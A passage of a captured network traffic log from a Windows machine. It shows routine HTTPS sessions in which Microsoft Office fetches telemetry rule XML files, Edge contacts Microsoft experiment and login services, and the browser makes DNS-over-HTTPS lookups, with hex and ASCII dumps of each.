2024-11-24 22:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222427Z-174c587ffdfmlsmvhC1TEBvyks000000053000000000r1m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:26 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222427Z-174c587ffdfgcs66hC1TEB69cs00000004t000000000rymd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:27 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49745	94.245.104.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:26 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:27 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 24 Nov 2024 22:24:26 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 3ae325a6-f01e-001f-6051-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222427Z-15b8b599d88z9sc7hC1TEBkr4w000000052000000000mk22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49747	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-24 22:24:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:29 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: f18b4c3f-5be0-4ebb-9b7f-8222b460e756 PPServer: PPV: 30 H: PH1PEPF0001B885 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:29 GMT Connection: close Content-Length: 1276
2024-11-24 22:24:29 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:29 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222429Z-174c587ffdfb74xqhC1TEBhabc000000053g000000005fag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:29 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 614243f2-101e-000b-1164-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222429Z-178bfbc474bq2pr7hC1NYCkfgg00000006u0000000002rkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:29 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e9522a88-801e-0067-2316-3dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222429Z-178bfbc474bv587zhC1NYCny5w00000006h0000000003g80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222429Z-15b8b599d88tmlzshC1TEB4xpn00000004yg000000009kqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:30 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:29 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:29 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222429Z-178bfbc474bxkclvhC1NYC69g400000006dg00000000kw4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:30 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49770	172.64.41.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf415e45421d-EWR alt-svc: h3=":443"; ma=86400
2024-11-24 22:24:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49777	162.159.61.3	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-24 22:24:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-24 22:24:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 24 Nov 2024 22:24:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7ccf419d9d42b5-EWR alt-svc: h3=":443"; ma=86400
